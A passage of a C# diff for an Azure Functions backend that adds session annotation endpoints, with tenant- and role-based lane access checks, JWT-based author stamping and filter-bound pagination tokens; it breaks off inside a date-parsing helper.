||||
|
||||
var annotations = await _annotationRepo.GetForSessionAsync(effectiveTenantId, sessionId);
|
||||
var visible = FilterLanesForCaller(annotations, requestCtx.HasGlobalScope);
|
||||
|
||||
return await req.OkAsync(new
|
||||
{
|
||||
success = true,
|
||||
sessionId,
|
||||
tenantId = effectiveTenantId,
|
||||
annotations = visible.Select(AnnotationWire.ToWire).ToList(),
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex, "Error fetching annotations for session {SessionId}", sessionId);
|
||||
var errorResponse = req.CreateResponse(System.Net.HttpStatusCode.InternalServerError);
|
||||
await errorResponse.WriteAsJsonAsync(new { success = false, message = "Internal server error." });
|
||||
return errorResponse;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The globaladmin lane is a platform-internal quality label — callers without
|
||||
/// global scope (tenant members and delegated admins) never see it.
|
||||
/// </summary>
|
||||
internal static List<SessionAnnotation> FilterLanesForCaller(
|
||||
List<SessionAnnotation> annotations, bool hasGlobalScope)
|
||||
{
|
||||
if (hasGlobalScope) return annotations;
|
||||
return annotations
|
||||
.Where(a => !string.Equals(a.Lane, AnnotationLanes.GlobalAdmin, StringComparison.OrdinalIgnoreCase))
|
||||
.ToList();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Explicit camelCase wire shape shared by the annotation endpoints so the JSON
|
||||
/// contract does not depend on serializer naming configuration.
|
||||
/// </summary>
|
||||
internal static class AnnotationWire
|
||||
{
|
||||
internal static object ToWire(SessionAnnotation a) => new
|
||||
{
|
||||
lane = a.Lane,
|
||||
verdict = a.Verdict,
|
||||
note = a.Note,
|
||||
authorUpn = a.AuthorUpn,
|
||||
authorDisplayName = a.AuthorDisplayName,
|
||||
createdByUpn = a.CreatedByUpn,
|
||||
createdAtUtc = a.CreatedAtUtc,
|
||||
updatedAtUtc = a.UpdatedAtUtc,
|
||||
ruleIds = a.RuleIds,
|
||||
};
|
||||
|
||||
internal static object ToWireWithScope(SessionAnnotation a) => new
|
||||
{
|
||||
tenantId = a.TenantId,
|
||||
sessionId = a.SessionId,
|
||||
lane = a.Lane,
|
||||
verdict = a.Verdict,
|
||||
note = a.Note,
|
||||
authorUpn = a.AuthorUpn,
|
||||
authorDisplayName = a.AuthorDisplayName,
|
||||
createdByUpn = a.CreatedByUpn,
|
||||
createdAtUtc = a.CreatedAtUtc,
|
||||
updatedAtUtc = a.UpdatedAtUtc,
|
||||
ruleIds = a.RuleIds,
|
||||
};
|
||||
}
|
||||
}
|
||||
+95
@@ -0,0 +1,95 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Web;
|
||||
using AutopilotMonitor.Functions.Helpers;
|
||||
using AutopilotMonitor.Functions.Pagination;
|
||||
using AutopilotMonitor.Shared.DataAccess;
|
||||
using Microsoft.Azure.Functions.Worker;
|
||||
using Microsoft.Azure.Functions.Worker.Http;
|
||||
using Microsoft.Extensions.Logging;
|
||||
|
||||
namespace AutopilotMonitor.Functions.Functions.Annotations
|
||||
{
|
||||
/// <summary>
|
||||
/// Cross-tenant evaluation stream over all annotation lanes (the flywheel read:
|
||||
/// verdicts per rule, false-positive rates, labeled sessions). Platform scope only.
|
||||
/// </summary>
|
||||
public class ListSessionAnnotationsFunction
|
||||
{
|
||||
private readonly ILogger<ListSessionAnnotationsFunction> _logger;
|
||||
private readonly ISessionAnnotationRepository _annotationRepo;
|
||||
|
||||
public ListSessionAnnotationsFunction(
|
||||
ILogger<ListSessionAnnotationsFunction> logger,
|
||||
ISessionAnnotationRepository annotationRepo)
|
||||
{
|
||||
_logger = logger;
|
||||
_annotationRepo = annotationRepo;
|
||||
}
|
||||
|
||||
[Function("ListSessionAnnotations")]
|
||||
public async Task<HttpResponseData> Run(
|
||||
[HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = "global/session-annotations")] HttpRequestData req)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Authentication + GlobalReadOrAdmin authorization enforced by PolicyEnforcementMiddleware
|
||||
var callerTenantId = TenantHelper.GetTenantId(req);
|
||||
|
||||
var query = HttpUtility.ParseQueryString(req.Url.Query ?? string.Empty);
|
||||
var parsed = SessionAnnotationsPagination.ParseQuery(query);
|
||||
if (parsed.Error != null)
|
||||
{
|
||||
var bad = req.CreateResponse(HttpStatusCode.BadRequest);
|
||||
await bad.WriteAsJsonAsync(new { success = false, message = parsed.Error });
|
||||
return bad;
|
||||
}
|
||||
|
||||
string? azureToken = null;
|
||||
if (parsed.Continuation != null)
|
||||
{
|
||||
if (!SessionAnnotationsPagination.TryAcceptContinuation(
|
||||
parsed, callerTenantId, out azureToken, out var rejectReason))
|
||||
{
|
||||
_logger.LogWarning("ListSessionAnnotations: continuation rejected ({Reason})", rejectReason);
|
||||
var bad = req.CreateResponse(HttpStatusCode.BadRequest);
|
||||
await bad.WriteAsJsonAsync(new
|
||||
{
|
||||
success = false,
|
||||
message = $"Invalid continuation token ({rejectReason}). Restart pagination from the first page.",
|
||||
});
|
||||
return bad;
|
||||
}
|
||||
}
|
||||
|
||||
var (items, nextRawToken) = await _annotationRepo.QueryPageAsync(
|
||||
parsed.FilterTenantId, parsed.Lane, parsed.Verdict, parsed.RuleId,
|
||||
parsed.DateFrom, parsed.DateTo, parsed.PageSize, azureToken);
|
||||
|
||||
string? nextLink = null;
|
||||
if (!string.IsNullOrEmpty(nextRawToken))
|
||||
{
|
||||
var wireToken = SessionAnnotationsPagination.EncodeContinuation(
|
||||
parsed, callerTenantId, nextRawToken!);
|
||||
nextLink = SessionAnnotationsPagination.BuildNextLink(parsed, wireToken);
|
||||
}
|
||||
|
||||
return await req.OkAsync(new
|
||||
{
|
||||
success = true,
|
||||
count = items.Count,
|
||||
annotations = items.Select(AnnotationWire.ToWireWithScope).ToList(),
|
||||
nextLink,
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex, "Error listing session annotations");
|
||||
var errorResponse = req.CreateResponse(HttpStatusCode.InternalServerError);
|
||||
await errorResponse.WriteAsJsonAsync(new { success = false, message = "Internal server error." });
|
||||
return errorResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+116
@@ -0,0 +1,116 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Web;
|
||||
using AutopilotMonitor.Functions.Helpers;
|
||||
using AutopilotMonitor.Functions.Pagination;
|
||||
using AutopilotMonitor.Shared.DataAccess;
|
||||
using Microsoft.Azure.Functions.Worker;
|
||||
using Microsoft.Azure.Functions.Worker.Http;
|
||||
using Microsoft.Extensions.Logging;
|
||||
|
||||
namespace AutopilotMonitor.Functions.Functions.Annotations
|
||||
{
|
||||
/// <summary>
|
||||
/// Tenant-scoped annotation list — backs the portal's Annotations overview page
|
||||
/// ("which sessions has my team already judged?"). Same filter surface as the global
|
||||
/// evaluation stream, always bound to the middleware-validated target tenant. The
|
||||
/// platform-internal globaladmin lane is excluded in the OData query for callers
|
||||
/// without global scope, so hidden rows never consume page budget.
|
||||
/// </summary>
|
||||
public class ListTenantSessionAnnotationsFunction
|
||||
{
|
||||
private readonly ILogger<ListTenantSessionAnnotationsFunction> _logger;
|
||||
private readonly ISessionAnnotationRepository _annotationRepo;
|
||||
|
||||
public ListTenantSessionAnnotationsFunction(
|
||||
ILogger<ListTenantSessionAnnotationsFunction> logger,
|
||||
ISessionAnnotationRepository annotationRepo)
|
||||
{
|
||||
_logger = logger;
|
||||
_annotationRepo = annotationRepo;
|
||||
}
|
||||
|
||||
[Function("ListTenantSessionAnnotations")]
|
||||
public async Task<HttpResponseData> Run(
|
||||
[HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = "session-annotations")] HttpRequestData req)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Authentication + MemberRead authorization enforced by PolicyEnforcementMiddleware
|
||||
var requestCtx = req.GetRequestContext();
|
||||
var callerTenantId = TenantHelper.GetTenantId(req);
|
||||
|
||||
var query = HttpUtility.ParseQueryString(req.Url.Query ?? string.Empty);
|
||||
var parsedRaw = SessionAnnotationsPagination.ParseQuery(query);
|
||||
if (parsedRaw.Error != null)
|
||||
{
|
||||
var bad = req.CreateResponse(HttpStatusCode.BadRequest);
|
||||
await bad.WriteAsJsonAsync(new { success = false, message = parsedRaw.Error });
|
||||
return bad;
|
||||
}
|
||||
|
||||
// The tenant filter is never caller-chosen here: TargetTenantId is the
|
||||
// middleware-validated scope (own tenant; the ?tenantId drill-in is validated
|
||||
// there too). A body/query value can never widen it.
|
||||
var parsed = new SessionAnnotationsPagination.Parsed
|
||||
{
|
||||
FilterTenantId = requestCtx.TargetTenantId,
|
||||
Lane = parsedRaw.Lane,
|
||||
Verdict = parsedRaw.Verdict,
|
||||
RuleId = parsedRaw.RuleId,
|
||||
DateFrom = parsedRaw.DateFrom,
|
||||
DateTo = parsedRaw.DateTo,
|
||||
PageSize = parsedRaw.PageSize,
|
||||
Continuation = parsedRaw.Continuation,
|
||||
};
|
||||
|
||||
string? azureToken = null;
|
||||
if (parsed.Continuation != null)
|
||||
{
|
||||
if (!SessionAnnotationsPagination.TryAcceptContinuation(
|
||||
parsed, callerTenantId, out azureToken, out var rejectReason))
|
||||
{
|
||||
_logger.LogWarning("ListTenantSessionAnnotations: continuation rejected ({Reason})", rejectReason);
|
||||
var bad = req.CreateResponse(HttpStatusCode.BadRequest);
|
||||
await bad.WriteAsJsonAsync(new
|
||||
{
|
||||
success = false,
|
||||
message = $"Invalid continuation token ({rejectReason}). Restart pagination from the first page.",
|
||||
});
|
||||
return bad;
|
||||
}
|
||||
}
|
||||
|
||||
var (items, nextRawToken) = await _annotationRepo.QueryPageAsync(
|
||||
parsed.FilterTenantId, parsed.Lane, parsed.Verdict, parsed.RuleId,
|
||||
parsed.DateFrom, parsed.DateTo, parsed.PageSize, azureToken,
|
||||
excludeGlobalAdminLane: !requestCtx.HasGlobalScope);
|
||||
|
||||
string? nextLink = null;
|
||||
if (!string.IsNullOrEmpty(nextRawToken))
|
||||
{
|
||||
var wireToken = SessionAnnotationsPagination.EncodeContinuation(
|
||||
parsed, callerTenantId, nextRawToken!);
|
||||
nextLink = SessionAnnotationsPagination.BuildNextLink(
|
||||
parsed, wireToken, SessionAnnotationsPagination.TenantBasePath);
|
||||
}
|
||||
|
||||
return await req.OkAsync(new
|
||||
{
|
||||
success = true,
|
||||
count = items.Count,
|
||||
annotations = items.Select(AnnotationWire.ToWireWithScope).ToList(),
|
||||
nextLink,
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex, "Error listing tenant session annotations");
|
||||
var errorResponse = req.CreateResponse(HttpStatusCode.InternalServerError);
|
||||
await errorResponse.WriteAsJsonAsync(new { success = false, message = "Internal server error." });
|
||||
return errorResponse;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+274
@@ -0,0 +1,274 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using AutopilotMonitor.Functions.Helpers;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.DataAccess;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Azure.Functions.Worker;
|
||||
using Microsoft.Azure.Functions.Worker.Http;
|
||||
using Microsoft.Extensions.Logging;
|
||||
using Newtonsoft.Json;
|
||||
using Newtonsoft.Json.Linq;
|
||||
|
||||
namespace AutopilotMonitor.Functions.Functions.Annotations
|
||||
{
|
||||
/// <summary>
|
||||
/// Upserts (or clears) the annotation for one session + lane.
|
||||
/// Policy tier is TenantAdminOrOperator; the per-lane write matrix is re-gated here
|
||||
/// via <see cref="IsLaneWritableByCaller"/> (catalog multi-kind rule). Author fields
|
||||
/// are stamped from the JWT — a body-supplied author never wins.
|
||||
/// </summary>
|
||||
public class UpsertSessionAnnotationFunction
|
||||
{
|
||||
private readonly ILogger<UpsertSessionAnnotationFunction> _logger;
|
||||
private readonly ISessionAnnotationRepository _annotationRepo;
|
||||
private readonly ISessionRepository _sessionRepo;
|
||||
private readonly IRuleRepository _ruleRepo;
|
||||
private readonly IMaintenanceRepository _maintenanceRepo;
|
||||
|
||||
public UpsertSessionAnnotationFunction(
|
||||
ILogger<UpsertSessionAnnotationFunction> logger,
|
||||
ISessionAnnotationRepository annotationRepo,
|
||||
ISessionRepository sessionRepo,
|
||||
IRuleRepository ruleRepo,
|
||||
IMaintenanceRepository maintenanceRepo)
|
||||
{
|
||||
_logger = logger;
|
||||
_annotationRepo = annotationRepo;
|
||||
_sessionRepo = sessionRepo;
|
||||
_ruleRepo = ruleRepo;
|
||||
_maintenanceRepo = maintenanceRepo;
|
||||
}
|
||||
|
||||
[Function("UpsertSessionAnnotation")]
|
||||
public async Task<HttpResponseData> Run(
|
||||
[HttpTrigger(AuthorizationLevel.Anonymous, "put", Route = "sessions/{sessionId}/annotations/{lane}")] HttpRequestData req,
|
||||
string sessionId,
|
||||
string lane)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Authentication + TenantAdminOrOperator authorization enforced by
|
||||
// PolicyEnforcementMiddleware; the lane matrix is re-gated below.
|
||||
var requestCtx = req.GetRequestContext();
|
||||
var userIdentifier = TenantHelper.GetUserIdentifier(req);
|
||||
|
||||
var normalizedLane = lane?.ToLowerInvariant() ?? string.Empty;
|
||||
if (!AnnotationLanes.All.Contains(normalizedLane))
|
||||
{
|
||||
return await BadRequestAsync(req,
|
||||
$"lane must be one of: {string.Join(", ", AnnotationLanes.All)}");
|
||||
}
|
||||
|
||||
// Tenant identity: non-GA callers are pinned to their middleware-validated
|
||||
// tenant (never a body value — prevents horizontal escalation). Global
|
||||
// Admins may annotate foreign-tenant sessions (the GA labeling flow), so
|
||||
// resolve the session's actual tenant like the other session reads do.
|
||||
// Resolution happens BEFORE the lane gate: tenant-role lanes must bind to
|
||||
// the caller's OWN tenant, so a GA who is also an own-tenant admin cannot
|
||||
// write another tenant's operator/tenantadmin lanes.
|
||||
var effectiveTenantId = requestCtx.TargetTenantId;
|
||||
if (requestCtx.IsGlobalAdmin)
|
||||
{
|
||||
var resolvedTenantId = await _sessionRepo.FindSessionTenantIdAsync(sessionId);
|
||||
if (resolvedTenantId != null
|
||||
&& !string.Equals(resolvedTenantId, effectiveTenantId, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
effectiveTenantId = resolvedTenantId;
|
||||
}
|
||||
}
|
||||
|
||||
var isOwnTenant = string.Equals(effectiveTenantId, requestCtx.TenantId, StringComparison.OrdinalIgnoreCase);
|
||||
if (!IsLaneWritableByCaller(
|
||||
normalizedLane, isOwnTenant ? requestCtx.UserRole : null,
|
||||
requestCtx.IsTenantAdmin && isOwnTenant, requestCtx.IsGlobalAdmin))
|
||||
{
|
||||
_logger.LogWarning(
|
||||
"UpsertSessionAnnotation: BLOCKED lane={Lane} for user={User} role={Role} ownTenant={OwnTenant}",
|
||||
normalizedLane, userIdentifier, requestCtx.UserRole, isOwnTenant);
|
||||
var forbidden = req.CreateResponse(HttpStatusCode.Forbidden);
|
||||
await forbidden.WriteAsJsonAsync(new
|
||||
{
|
||||
success = false,
|
||||
message = $"Your role does not permit writing the '{normalizedLane}' annotation lane.",
|
||||
});
|
||||
return forbidden;
|
||||
}
|
||||
|
||||
// Annotations must not create junk rows for sessions that don't exist.
|
||||
var session = await _sessionRepo.GetSessionAsync(effectiveTenantId, sessionId);
|
||||
if (session == null)
|
||||
{
|
||||
var notFound = req.CreateResponse(HttpStatusCode.NotFound);
|
||||
await notFound.WriteAsJsonAsync(new { success = false, message = "Session not found." });
|
||||
return notFound;
|
||||
}
|
||||
|
||||
var body = await req.ReadAsStringAsync() ?? string.Empty;
|
||||
JObject json;
|
||||
try
|
||||
{
|
||||
json = JObject.Parse(body);
|
||||
}
|
||||
catch (JsonException)
|
||||
{
|
||||
return await BadRequestAsync(req, "Invalid JSON body.");
|
||||
}
|
||||
|
||||
var verdict = ReadOptionalString(json, "verdict")?.ToLowerInvariant();
|
||||
var note = ReadOptionalString(json, "note");
|
||||
|
||||
if (verdict != null && !AnnotationVerdicts.All.Contains(verdict))
|
||||
{
|
||||
return await BadRequestAsync(req,
|
||||
$"verdict must be one of: {string.Join(", ", AnnotationVerdicts.All)}");
|
||||
}
|
||||
if (note != null && note.Length > SessionAnnotation.MaxNoteLength)
|
||||
{
|
||||
return await BadRequestAsync(req,
|
||||
$"note must be at most {SessionAnnotation.MaxNoteLength} characters.");
|
||||
}
|
||||
|
||||
// Anti-spoof: author identity comes from the JWT, never from the body
|
||||
// (same stamp as the rule PUT-upserts).
|
||||
var authorDisplayName = TenantHelper.GetUserDisplayName(req) ?? "Autopilot Monitor";
|
||||
|
||||
// Both fields empty = clear the lane.
|
||||
if (verdict == null && note == null)
|
||||
{
|
||||
await _annotationRepo.DeleteAsync(effectiveTenantId, sessionId, normalizedLane);
|
||||
await LogAuditAsync(requestCtx.IsGlobalAdmin, effectiveTenantId, "DELETE",
|
||||
sessionId, normalizedLane, userIdentifier, verdict: null);
|
||||
_logger.LogInformation(
|
||||
"Annotation cleared for session {SessionId} lane {Lane} by {User}",
|
||||
sessionId, normalizedLane, userIdentifier);
|
||||
return await req.OkAsync(new { success = true, deleted = true });
|
||||
}
|
||||
|
||||
var existing = await _annotationRepo.GetAsync(effectiveTenantId, sessionId, normalizedLane);
|
||||
var now = DateTime.UtcNow;
|
||||
var annotation = new SessionAnnotation
|
||||
{
|
||||
TenantId = effectiveTenantId,
|
||||
SessionId = sessionId,
|
||||
Lane = normalizedLane,
|
||||
Verdict = verdict,
|
||||
Note = note,
|
||||
AuthorUpn = userIdentifier,
|
||||
AuthorDisplayName = authorDisplayName,
|
||||
CreatedByUpn = existing?.CreatedByUpn ?? userIdentifier,
|
||||
CreatedAtUtc = existing?.CreatedAtUtc ?? now,
|
||||
UpdatedAtUtc = now,
|
||||
RuleIds = await SnapshotRuleIdsAsync(effectiveTenantId, sessionId),
|
||||
};
|
||||
|
||||
await _annotationRepo.UpsertAsync(annotation);
|
||||
await LogAuditAsync(requestCtx.IsGlobalAdmin, effectiveTenantId, "UPDATE",
|
||||
sessionId, normalizedLane, userIdentifier, verdict);
|
||||
|
||||
_logger.LogInformation(
|
||||
"Annotation saved for session {SessionId} lane {Lane} by {User} (verdict={Verdict})",
|
||||
sessionId, normalizedLane, userIdentifier, verdict ?? "none");
|
||||
|
||||
return await req.OkAsync(new
|
||||
{
|
||||
success = true,
|
||||
annotation = AnnotationWire.ToWire(annotation),
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex, "Error saving annotation for session {SessionId} lane {Lane}", sessionId, lane);
|
||||
var errorResponse = req.CreateResponse(HttpStatusCode.InternalServerError);
|
||||
await errorResponse.WriteAsJsonAsync(new { success = false, message = "Internal server error." });
|
||||
return errorResponse;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Per-lane write matrix (policy tier already limited callers to tenant
|
||||
/// Admin/Operator or GA):
|
||||
/// operator → Operator or Tenant Admin (admins supervise operator notes)
|
||||
/// tenantadmin → Tenant Admin only
|
||||
/// globaladmin → Global Admin only (GA writes ONLY this lane — clean attribution;
|
||||
/// a GA who is also an own-tenant admin still passes IsTenantAdmin
|
||||
/// for that tenant's lanes)
|
||||
/// </summary>
|
||||
internal static bool IsLaneWritableByCaller(
|
||||
string lane, string? userRole, bool isTenantAdmin, bool isGlobalAdmin)
|
||||
{
|
||||
return lane switch
|
||||
{
|
||||
AnnotationLanes.GlobalAdmin => isGlobalAdmin,
|
||||
AnnotationLanes.TenantAdmin => isTenantAdmin,
|
||||
AnnotationLanes.Operator => isTenantAdmin
|
||||
|| string.Equals(userRole, Constants.TenantRoles.Operator, StringComparison.OrdinalIgnoreCase),
|
||||
_ => false,
|
||||
};
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Snapshot of the rule ids that fired for this session, denormalized onto the
|
||||
/// annotation so rule-quality evaluation needs no join. Fail-soft: an empty list
|
||||
/// never blocks the write.
|
||||
/// </summary>
|
||||
private async Task<List<string>> SnapshotRuleIdsAsync(string tenantId, string sessionId)
|
||||
{
|
||||
try
|
||||
{
|
||||
var results = await _ruleRepo.GetRuleResultsAsync(tenantId, sessionId);
|
||||
return results
|
||||
.Select(r => r.RuleId)
|
||||
.Where(id => !string.IsNullOrEmpty(id))
|
||||
.Distinct(StringComparer.OrdinalIgnoreCase)
|
||||
.ToList();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning(ex,
|
||||
"Annotation rule-id snapshot failed for session {SessionId}; storing empty list", sessionId);
|
||||
return new List<string>();
|
||||
}
|
||||
}
|
||||
|
||||
// Audit entries land in the tenant-visible audit log; GA writes are skipped so
|
||||
// platform-internal labeling activity does not surface there (same convention as
|
||||
// session-report submissions by GAs).
|
||||
private async Task LogAuditAsync(
|
||||
bool isGlobalAdmin, string tenantId, string action,
|
||||
string sessionId, string lane, string userIdentifier, string? verdict)
|
||||
{
|
||||
if (isGlobalAdmin) return;
|
||||
await _maintenanceRepo.LogAuditEntryAsync(
|
||||
tenantId,
|
||||
action,
|
||||
"SessionAnnotation",
|
||||
$"{sessionId}/{lane}",
|
||||
userIdentifier,
|
||||
new Dictionary<string, string>
|
||||
{
|
||||
{ "Action", "UpsertSessionAnnotation" },
|
||||
{ "SessionId", sessionId },
|
||||
{ "Lane", lane },
|
||||
{ "Verdict", verdict ?? string.Empty },
|
||||
});
|
||||
}
|
||||
|
||||
private static string? ReadOptionalString(JObject json, string property)
|
||||
{
|
||||
var token = json[property];
|
||||
if (token == null || token.Type == JTokenType.Null) return null;
|
||||
var value = token.ToString().Trim();
|
||||
return value.Length == 0 ? null : value;
|
||||
}
|
||||
|
||||
private static async Task<HttpResponseData> BadRequestAsync(HttpRequestData req, string message)
|
||||
{
|
||||
var response = req.CreateResponse(HttpStatusCode.BadRequest);
|
||||
await response.WriteAsJsonAsync(new { success = false, message });
|
||||
return response;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -128,6 +128,11 @@ namespace AutopilotMonitor.Functions.Functions.Rules
|
||||
return badRequest;
|
||||
}
|
||||
|
||||
// Same anti-spoof stamp as CreateRule: on a true update the service replaces
|
||||
// this with the original author (immutable attribution), but a full-payload PUT
|
||||
// that upserts a rule with no existing row must not store the payload's author.
|
||||
rule.Author = TenantHelper.GetUserDisplayName(req) ?? "Autopilot Monitor";
|
||||
|
||||
try
|
||||
{
|
||||
var success = await _ruleService.UpdateRuleAsync(tenantId, rule);
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
using System.Net;
|
||||
using AutopilotMonitor.Functions.Helpers;
|
||||
using AutopilotMonitor.Functions.Services;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Azure.Functions.Worker;
|
||||
@@ -110,6 +111,11 @@ namespace AutopilotMonitor.Functions.Functions.Rules
|
||||
if (scopeError != null)
|
||||
return await BadRequestAsync(req, scopeError);
|
||||
|
||||
// Same anti-spoof stamp as the tenant route: true updates keep the original
|
||||
// author (service-level preservation); a PUT-upsert with no existing row
|
||||
// stores the editing admin, never the payload's author.
|
||||
rule.Author = TenantHelper.GetUserDisplayName(req) ?? "Autopilot Monitor";
|
||||
|
||||
_logger.LogInformation("Global admin updating gather rule {RuleId} for tenant {TenantId}", ruleId, tenantId);
|
||||
|
||||
var success = await _gatherRuleService.UpdateRuleAsync(tenantId, rule);
|
||||
|
||||
@@ -0,0 +1,152 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.Specialized;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using AutopilotMonitor.Shared.Pagination;
|
||||
|
||||
namespace AutopilotMonitor.Functions.Pagination
|
||||
{
|
||||
/// <summary>
|
||||
/// Pure helpers for the <c>GET /api/global/session-annotations</c> pagination
|
||||
/// surface. GA-only at the policy layer; every optional filter is a server-side
|
||||
/// <em>filter</em>, not an authorization scope, so the continuation token binds
|
||||
/// the caller's identity + the whole active filter set (a token issued for one
|
||||
/// filter view can't be replayed against another).
|
||||
/// </summary>
|
||||
public static class SessionAnnotationsPagination
|
||||
{
|
||||
public const int DefaultPageSize = 200;
|
||||
public const int MaxPageSize = 1000;
|
||||
|
||||
public static string Fingerprint(
|
||||
string callerTenantId, string? filterTenantId, string? lane, string? verdict,
|
||||
string? ruleId, DateTime? dateFrom, DateTime? dateTo) =>
|
||||
ContinuationToken.ComputeFingerprint(new[]
|
||||
{
|
||||
new KeyValuePair<string, string?>("scope", "session-annotations"),
|
||||
new KeyValuePair<string, string?>("tenantId", callerTenantId),
|
||||
new KeyValuePair<string, string?>("filterTenantId", filterTenantId),
|
||||
new KeyValuePair<string, string?>("lane", lane),
|
||||
new KeyValuePair<string, string?>("verdict", verdict),
|
||||
new KeyValuePair<string, string?>("ruleId", ruleId),
|
||||
new KeyValuePair<string, string?>("dateFrom", dateFrom?.ToString("o", CultureInfo.InvariantCulture)),
|
||||
new KeyValuePair<string, string?>("dateTo", dateTo?.ToString("o", CultureInfo.InvariantCulture)),
|
||||
});
|
||||
|
||||
public sealed class Parsed
|
||||
{
|
||||
public string? FilterTenantId { get; init; }
|
||||
public string? Lane { get; init; }
|
||||
public string? Verdict { get; init; }
|
||||
public string? RuleId { get; init; }
|
||||
public DateTime? DateFrom { get; init; }
|
||||
public DateTime? DateTo { get; init; }
|
||||
public int PageSize { get; init; } = DefaultPageSize;
|
||||
public string? Continuation { get; init; }
|
||||
public string? Error { get; init; }
|
||||
}
|
||||
|
||||
public static Parsed ParseQuery(NameValueCollection? query)
|
||||
{
|
||||
var pageSize = DefaultPageSize;
|
||||
var pageSizeRaw = query?["pageSize"];
|
||||
if (!string.IsNullOrEmpty(pageSizeRaw))
|
||||
{
|
||||
if (!int.TryParse(pageSizeRaw, NumberStyles.Integer, CultureInfo.InvariantCulture, out var n))
|
||||
return new Parsed { Error = "pageSize must be an integer" };
|
||||
if (n < 1 || n > MaxPageSize)
|
||||
return new Parsed { Error = $"pageSize must be between 1 and {MaxPageSize}" };
|
||||
pageSize = n;
|
||||
}
|
||||
|
||||
var lane = Normalize(query?["lane"]);
|
||||
if (lane != null && !AnnotationLanes.All.Contains(lane))
|
||||
return new Parsed { Error = $"lane must be one of: {string.Join(", ", AnnotationLanes.All)}" };
|
||||
|
||||
var verdict = Normalize(query?["verdict"]);
|
||||
if (verdict != null && !AnnotationVerdicts.All.Contains(verdict))
|
||||
return new Parsed { Error = $"verdict must be one of: {string.Join(", ", AnnotationVerdicts.All)}" };
|
||||
|
||||
if (!TryParseDate(query?["dateFrom"], out var dateFrom))
|
||||
return new Parsed { Error = "dateFrom must be an ISO 8601 date" };
|
||||
if (!TryParseDate(query?["dateTo"], out var dateTo))
|
||||
return new Parsed { Error = "dateTo must be an ISO 8601 date" };
|
||||
|
||||
return new Parsed
|
||||
{
|
||||
FilterTenantId = NullIfEmpty(query?["tenantId"]),
|
||||
Lane = lane,
|
||||
Verdict = verdict,
|
||||
RuleId = NullIfEmpty(query?["ruleId"]),
|
||||
DateFrom = dateFrom,
|
||||
DateTo = dateTo,
|
||||
PageSize = pageSize,
|
||||
Continuation = NullIfEmpty(query?["continuation"]),
|
||||
};
|
||||
}
|
||||
|
||||
public static bool TryAcceptContinuation(
|
||||
Parsed parsed,
|
||||
string callerTenantId,
|
||||
out string azureToken,
|
||||
out string? rejectReason)
|
||||
{
|
||||
var fp = Fingerprint(
|
||||
callerTenantId, parsed.FilterTenantId, parsed.Lane, parsed.Verdict,
|
||||
parsed.RuleId, parsed.DateFrom, parsed.DateTo);
|
||||
return ContinuationToken.TryDecode(parsed.Continuation!, callerTenantId, fp, out azureToken, out rejectReason);
|
||||
}
|
||||
|
||||
public static string EncodeContinuation(Parsed parsed, string callerTenantId, string rawAzureToken)
|
||||
{
|
||||
var fp = Fingerprint(
|
||||
callerTenantId, parsed.FilterTenantId, parsed.Lane, parsed.Verdict,
|
||||
parsed.RuleId, parsed.DateFrom, parsed.DateTo);
|
||||
return ContinuationToken.Encode(rawAzureToken, callerTenantId, fp);
|
||||
}
|
||||
|
||||
public const string GlobalBasePath = "/api/global/session-annotations";
|
||||
public const string TenantBasePath = "/api/session-annotations";
|
||||
|
||||
public static string BuildNextLink(Parsed parsed, string wireContinuation, string basePath = GlobalBasePath)
|
||||
{
|
||||
var sb = new StringBuilder(basePath);
|
||||
sb.Append("?pageSize=").Append(parsed.PageSize.ToString(CultureInfo.InvariantCulture));
|
||||
sb.Append("&continuation=").Append(Uri.EscapeDataString(wireContinuation));
|
||||
AppendIfSet(sb, "tenantId", parsed.FilterTenantId);
|
||||
AppendIfSet(sb, "lane", parsed.Lane);
|
||||
AppendIfSet(sb, "verdict", parsed.Verdict);
|
||||
AppendIfSet(sb, "ruleId", parsed.RuleId);
|
||||
AppendIfSet(sb, "dateFrom", parsed.DateFrom?.ToString("o", CultureInfo.InvariantCulture));
|
||||
AppendIfSet(sb, "dateTo", parsed.DateTo?.ToString("o", CultureInfo.InvariantCulture));
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
private static void AppendIfSet(StringBuilder sb, string name, string? value)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(value))
|
||||
sb.Append('&').Append(name).Append('=').Append(Uri.EscapeDataString(value!));
|
||||
}
|
||||
|
||||
private static bool TryParseDate(string? raw, out DateTime? value)
|
||||
{
|
||||
value = null;
|
||||
if (string.IsNullOrEmpty(raw)) return true;
|
||||
if (!DateTime.TryParse(
|
||||
